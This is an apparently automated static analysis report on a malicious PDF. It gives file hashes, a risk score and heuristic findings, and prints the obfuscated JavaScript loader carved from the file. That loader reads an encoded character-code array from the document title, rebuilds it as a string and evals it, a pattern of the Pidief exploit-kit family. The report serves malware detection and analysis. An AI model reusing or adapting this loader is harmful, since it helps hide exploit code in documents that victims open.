Malicious PDF — malware analysis report

Static analysis result for SHA-256 c8695d5c8a6a3938…

MALICIOUS

PDF

45.2 KB First seen: 2026-05-09
MD5: cca8efe7ffc4baf7776d1ca067a2ffc2 SHA-1: 6f43fec1f1670697956a3e28cd18cf8d8d91d73e SHA-256: c8695d5c8a6a3938f5bc342c97d5375df09bd0584c9b2d5b93d0ca58fbb1bf2d
86 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings and the presence of a JavaScript object. The ML classifier strongly suggests malicious intent. The embedded JavaScript is likely designed to execute malicious code, potentially downloading a second-stage payload or performing other harmful actions. The document body 'test' provides no contextual information about the lure.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB1D9 482 bytes
SHA-256: c64a204a5f6c6a4f4fb331bc4266adb8a01c216439c95b220e74eb112cd5767c
Preview script
First 1,000 lines of the extracted script
mrrnu='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
e=(t,qwe)()[a[0]+b+a[1]+(a,t[0])];
acn=e('ti'+'tle');
s=acn.substr(t.length + 8,3)+'str';
q=acn[s](1,(1,t.length + 7));
dgt=e('S'+'tring.fro'+q);
q=acn[s](14).split('u');;
e('k=q.length');
for (i = 0; i != k; i+=2) {
	swu = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	mrrnu += dgt(swu);
}
e(mrrnu);

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